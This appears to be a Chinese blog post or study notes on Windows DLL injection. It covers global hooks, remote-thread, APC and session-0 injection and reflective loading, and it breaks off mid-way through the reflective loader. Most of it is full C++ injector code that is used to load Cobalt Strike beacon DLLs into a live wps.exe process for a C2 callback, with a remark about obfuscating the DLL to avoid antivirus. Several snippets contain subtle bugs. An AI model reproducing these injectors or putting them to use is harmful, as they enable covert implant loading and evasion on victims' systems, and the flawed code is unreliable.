实现原理
是通过注入 dll(动态链接库)向一个正在运行的进程插入/注入代码的过程,当然除了 dll 也可以是其他形式(任何PE文件、shellcode / assembly等),dll 注入操作有其合法目的,像杀软动态检测进程的行为,就是通过 dll 注入实现的。
注入流程 :

1.附加到目标进程
2.在目标进程内分配内存
3.将 dll 路径或 dll 复制到目标内存中
4.让进程执行 dll
全局钩子注入
windows 中的钩子就是一种拦截实践并采取行动的方式,钩子的实现原理是基于 windows 的消息机制,程序根据不同消息完成不同功能,而钩子就可以截获和监视系统中的这些消息,最常见钩子的就是 WH_KEYBOARD 和 WH_MOUSE,分别用来监控键盘和鼠标输入。
局部钩子通常用于某个线程,而全局钩子通过 dll 文件实现。
利用 SetWindowsHookEx 函数实现(将应用程序定义的钩子装到钩子链中)
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook, // 钩子类型
_In_ HOOKPROC lpfn, // 回调函数地址
_In_ HINSTANCE hMod, // 实例句柄
_In_ DWORD dwThreadId // 线程 ID
);
执行成功则返回钩子的句柄,如果失败返回 NULL。
当 SetWindowsHookEx 函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的 dl l文件强行注入到这个进程中并将该 dl l的锁计数器递增 1。然后再调用安装的钩子函数。
实现的全局钩子可以用 WH_GETMESSAGE 消息,因为 WH_GETMESSAGE 类型的钩子会监视消息队列,windows 中的每个进程都会维护自己的消息队列(消息驱动的实现),那么就都会加载 WH_GETMESSAGE 类型的全局钩子DLL。
被注入的 dll 的实现,首先是设置全局钩子
BOOL SetHook()
{
g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
// GetMsgProc 是回调函数,在后续实现
if (g_Hook == NULL)
{
return FALSE;
}
return TRUE;
}
GetMsgProc 中要用 CallNextHookEx 函数决定继续执行下一个钩子(第一个参数为钩子句柄)还是对当前钩子进行拦截(第一个参数为 0)
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
return ::CallNextHookEx(g_Hook, code, wParam, lParam);
}
然后还要设置取消钩子
BOOL UnsetHook()
{
if (g_Hook)
{
::UnhookWindowsHookEx(g_Hook);
}
}
此外还要设置进程间通信,这里是通过共享内存实现的
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
用 vs 新建一个 dll 项目,首先是 pch.h 文件,声明定义的都是裸函数,由我们自己平衡堆栈
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
在 pch.cpp 中写入上面提到的函数,然后在 dllmain.cpp 中设置 DLL_PROCESS_ATTACH。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
再创建一个用于被注入的进程,用 LoadLibraryW 加载 dll
// GolbalInjectDLL.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
int main()
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibraryW(TEXT("F:\\vs_project\\DLLInjector\\DLLInjector\\Debug\\DLLInjector.dll"));
if (NULL == hDll)
{
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (NULL == SetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.\n");
}
else
{
printf("SetGlobalHook ERROR.\n");
}
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (NULL == UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause");
return 0;
}
在 GolbalInjectDLL 进程中看到了注入的 DLLInject.dll

注意,32位的 dll 不能被注入到 64 位的进程中,同样,64 位的 dll 也不饿能被注入到 32 位进程中。
这种方式的优点是注入简单,缺点就是只能针对 windows 消息进程 Hook 并注入 dll,而注入可能不是瞬发(基于注入时选择的消息类型),而且不能进行其他 api 的 Hook,如果想对其它的函数进行 Hook,你需要再在被注入的dll中添加用于 API Hook 的代码。
远程线程注入
测试用的 dll 文件
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
首先要得到与之进行交互的进程的句柄,可以通过 CreateToolhelp32Snapshot 拍摄进程快照获取 pid,再通过 Openprocess 连接到目标进程。
// 通过进程快照获取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
用 OpenProcess 打开进程,
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
其中 OpenProcess 的定义,第一个参数是设置访问权限,可参考 https://docs.microsoft.com/zh-cn/windows/win32/procthread/process-security-and-access-rights?redirectedfrom=MSDN:
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId // pid
);
连接之后需要给 dll 路径分配内存,VirtualAllocEx 函数可以实现预留、提交或更改指定进程的虚拟地址空间内的内存区域的状态。该函数将其分配的内存初始化为零。(也可以通过 GetFullPathName 实现)
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
函数定义:
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess, // 申请内存所在的进程句柄
_In_opt_ LPVOID lpAddress, // 保留页面的内存地址,一般设置为 NULL 自动分配
_In_ SIZE_T dwSize, // 要分配的内存大小
_In_ DWORD flAllocationType, // 分配方式
_In_ DWORD flProtect // 设置权限
);
然后调用 WriteProcessMemory 函数把 dll 写入内存
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
其中 WriteProcessMemory 的定义
BOOL WriteProcessMemory(
HANDLE hProcess, //进程句柄
LPVOID lpBaseAddress, //写入的内存首地址
LPCVOID lpBuffer, //要写数据的指针
SIZE_T nSize, //x
SIZE_T *lpNumberOfBytesWritten
);
之后就是创建线程并等待执行结束,可以通过 CreateRemoteThread 实现,等待线程函数结束则通过 WaitForSingleObject(第二个参数设为 -1 一直等待)
//在另一个进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
完整的实现:
// RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include "tchar.h"
char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
//通过进程快照获取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
//打开一个进程并为其创建一个线程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
//打开进程
HANDLE hprocess;
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pAllocMemory = NULL;
DWORD DllAddr = 0;
FARPROC pThread;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
//Size = sizeof(string_inject);
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
//远程申请空间
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx - Error!");
return FALSE;
}
// 写入内存
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
if (Write == FALSE)
{
printf("WriteProcessMemory - Error!");
return FALSE;
}
//获取LoadLibrary的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
//在另一个进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread - Error!");
return FALSE;1
}
//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
//释放DLL空间
VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//关闭线程句柄
::CloseHandle(hprocess);
return TRUE;
}
int main()
{
DWORD PID = _GetProcessPID(L"test.exe");
_RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
}

远程线程注入的实现除了使用 CreateRemoteThread 函数实现,还可以用 NtCreateThreadEx / RtlCreateUserThread 实现,NtCreateThreadEx 详情参阅 https://securityxploded.com/ntcreatethreadex.php,而 RtlCreateUserThread 则可以看作对 NtCreateThreadEx 的封装,在 mimikatz 和 meterpreter 中都使用了这个 api。
APC 注入
Asynchronous Procedure Call,即异步过程调用。当往线程的 APC 队列添加 APC 的时候,系统会产生一个软中断,在线程下一次被调度的时候,就会执行 APC 函数。
实现流程:
1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleObjectEx() 时,系统就会产生一个软中断(或者是 Messagebox 弹窗的时候不点 OK 的时候也能注入)
2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
限制条件:
1.必须是多线程环境
2.注入的程序会调用那些同步的对象
有这两个限制的原因也很简单,APC 队列中函数的调用需要一个线程从挂起状态到可通知状态才会执行,所以需要 SleepEx 这类函数先实现线程的挂起,但单线程程序一般不存在挂起状态,所以 APC 注入对单线程程序就没有明显的效果。
其实。本质上还是远程线程注入,但是不需要创建新的线程,而是直接劫持目标进程中的现有线程。也就是说,调用此函数将在指定的线程上对异步过程调用进行排队。
实现的时候,首先要根据进程名获取 pid 函数,然后再根据这个 pid 获取所有线程的 id
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
APCInject 的注入过程同样也遵循前面线程注入的流程,不同的操作就是需要遍历线程并插入 APC,如果 QueueUserAPC 返回的值为 NULL 则线程遍历失败,fail 的值就 +1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
完整实现:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBoxA(NULL, szError, "ERROR", MB_OK);
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍历所有THREADENTRY32结构, 按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 遍历线程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
#else // _WIN64
strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
突破 session 0 的远程线程注入
利用了 ZwCreateThreadEx 这个函数,ZwCreateThreadEx 是 CreateRemoteThread 的底层实现。在 windows 内核 6.0 (win7,8 之后)引入了会话隔离机制,创建一个进程之后不会立即运行,而是先挂起进程,再查看要运行进程所在的会话层再决定是否恢复进程运行。
再 windows XP,windows server 2003 包括之前的版本中,服务和应用程序使用相同的会话(session)运行,这个 session 由第一个登录到控制台的用户启动,也就是 session 0。把服务和用户程序都放在 session 0 中运行存在安全风险,因为服务的权限通常会高于用户权限,这样的话如果用户劫持了某个服务,就可以提权。
从 Windows Vista 开始,只有服务可以托管到 session 0 中,而用户程序则会创建在用户对应的 session 中。

需要用到的 api:
ZwCreateThreadEx(32 位)
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
ZwCreateThreadEx(64 位)
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
进入 session 0 还需要用到几个提权的函数
OpenProcessToken
BOOL OpenProcessToken(
__in HANDLE ProcessHandle, //要修改访问权限的进程句柄
__in DWORD DesiredAccess, //指定你要进行的操作类型
__out PHANDLE TokenHandle //返回的访问令牌指针
);
LookupPrivilegeValueA
BOOL LookupPrivilegeValueA(
LPCSTR lpSystemName, //要查看的系统,本地系统直接用NULL
LPCSTR lpName, //指向一个以零结尾的字符串,指定特权的名称
PLUID lpLuid //用来接收所返回的制定特权名称的信息
);
AdjustTokenPrivileges
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //包含特权的句柄
BOOL DisableAllPrivileges,//禁用所有权限标志
PTOKEN_PRIVILEGES NewState,//新特权信息的指针(结构体)
DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
实现过程:
这次是要注入系统权限的 exe,需要用到 debug 权限,首先要提权:
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
之前获得回显都是用 MessageBox 弹一个窗口,但系统程序不能现实程序的窗体,这里用一个 ShowError 获取错误码。
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
然后和远程线程注入的流程相同,获取句柄,申请内存,写入内存,获取函数地址,创建远程线程。不同的是 ZwCreateThreadEx 在 ntdll.dll 中没有声明,所以需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
完整代码:
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBoxA(NULL, szError, "ERROR", MB_OK);
}
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fok = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fok = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fok;
}
// 使用 zwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess - Error!\n\n");
return -1;
}
// 在注入的进程中申请内存
dwSize = ::lstrlenA(pszDllFileName) + 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx - Error!\n\n");
return FALSE;
}
// 写入内存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory - Error!\n\n");
return FALSE;
}
// 加载 dll
HMODULE hNtdllDll = ::LoadLibraryA("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取 LoadLibraryA 函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
return FALSE;
}
// 获取 ZwCreateThreadEx 函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远程线程,实现 dll 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
ShowError("ZwCreateThreadEx - Error!\n\n");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
// dll 换成 cs 的 dll,pid 换成被注入进程的 pid
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
#else
BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
#endif
if (FALSE == bRet)
{
printf("Inject Dll Error!\n\n");
}
printf("Inject Dll OK!\n\n");
return 0;
}
这里选择注入 wps.exe 进程,dll 用 cs 生成,运行程序直接上线(联想电脑管家报了,后续可以考虑对这个 dll 做混淆)
tasklist /svc | findstr "wps.exe"

反射 dll 注入
常规 dll 注入的一个缺陷就是需要恶意 dll 以文件的形式存储到受害主机上,会留下痕迹,容易被检测到,而反射 dll 注入可以是恶意的 dll 通过 socket 等方式传输到目标进程,无文件落地。
反射 dll 注入的流程和普通的远程线程注入流程相似,不同之处在于加载 dll 方式,是通过自己实现的一个 reflective loader() 函数来代替 LoadLibraryA() 去加载 dll,Reflective loader 实现思路如下:
1.获得被注入进程未解析的 dll 的基地址
2.获得必要的 dll 句柄和函数为修复导入表做准备
3.分配一块新内存去解析 dll,并把 PE 头复制和各节到新内存中
4.修复导入表和重定向表
5.执行 dllmain() 函数
图中红框中的行为:

meterpreter 连上之后可以用 migrate 命令迁移进程,实现的原理就是反射型 dll 注入,migrate 模块的 reflective loader 直接服用了 https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c 中的 ReflectiveLoader() 函数。
关于 migrate 的实现,前半部分就是之前文章中写过的 msf ?的实现过程,在 msf?收到 migrate 和 payload 之后,首先向被迁移的目标进程分配一块内存,并会创建远程执行 migrate stub,如果失败了,就会尝试用 apc 注入的方式执行 migrate stub,migrate stub 会调用 meterpreter loader,meterpreter loader 调用 reflective loader 进行反射式 dll 注入。

静态分析:
(PE 文件结构不是很熟,只是勉强能看懂,这里基本都是引用参考文献)
- Step 0: 计算基地址
首先调用 caller 函数,这个函数是对 _ReturnAddress() 的封装。在这里是为了获取 caller 函数的下一条指令的地址
uiLibraryAddress = caller();
// 跟进查看
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
然后向低地址逐字节查看是否有 dos头 的 MZ 字符串标识,若找到则把当前的地址认为是 dos 头结构体的开头,并校验 dos 头 e_lfanew 的成员是否指向 PE 头的标识字段(PE),如果两个校验都通过,则任务当前地址是 dos 头结构体的开头。
while( TRUE )
{
// 将当前地址看作 dos 结构体的起始地址,看一下结构体的 e_magic 字段是否指向 MZ
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// 同样的道理,判断 uiHeaderValue 的 Signature 是否指向 PE
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
- Step 1: 导出 loader 需要的 dll 句柄和函数地址
首先是 dll 句柄,通过遍历 PEB 结构体中的 pLdr 中的 InMemoryOrderModuleList 链表获取 dll 名称,计算 hash 并进行对比
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// 获得一个指向当前句柄的指针
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// 存储计算的 hash
uiValueC = 0;
// 计算 hash
do
{
uiValueC = ror( (DWORD)uiValueC );
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// 和标准库中的函数 hash 进行比较
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
...
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
...
}
uiValueA = DEREF( uiValueA );
}
- Step2 : 把 dll 映射到新开辟的内存
在 Nt optional header 结构体中的 SizeOfImage 变量存储着 PE 文件在内存中解析后所占的内存大小,可以根据这个分配一块新的内存,然后按照 section headers 中的文件相对偏移和相对虚拟地址,将这个 PE 节一一映射到新开辟的内存中。
// 根据 SizeOfImage 分配新内存
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
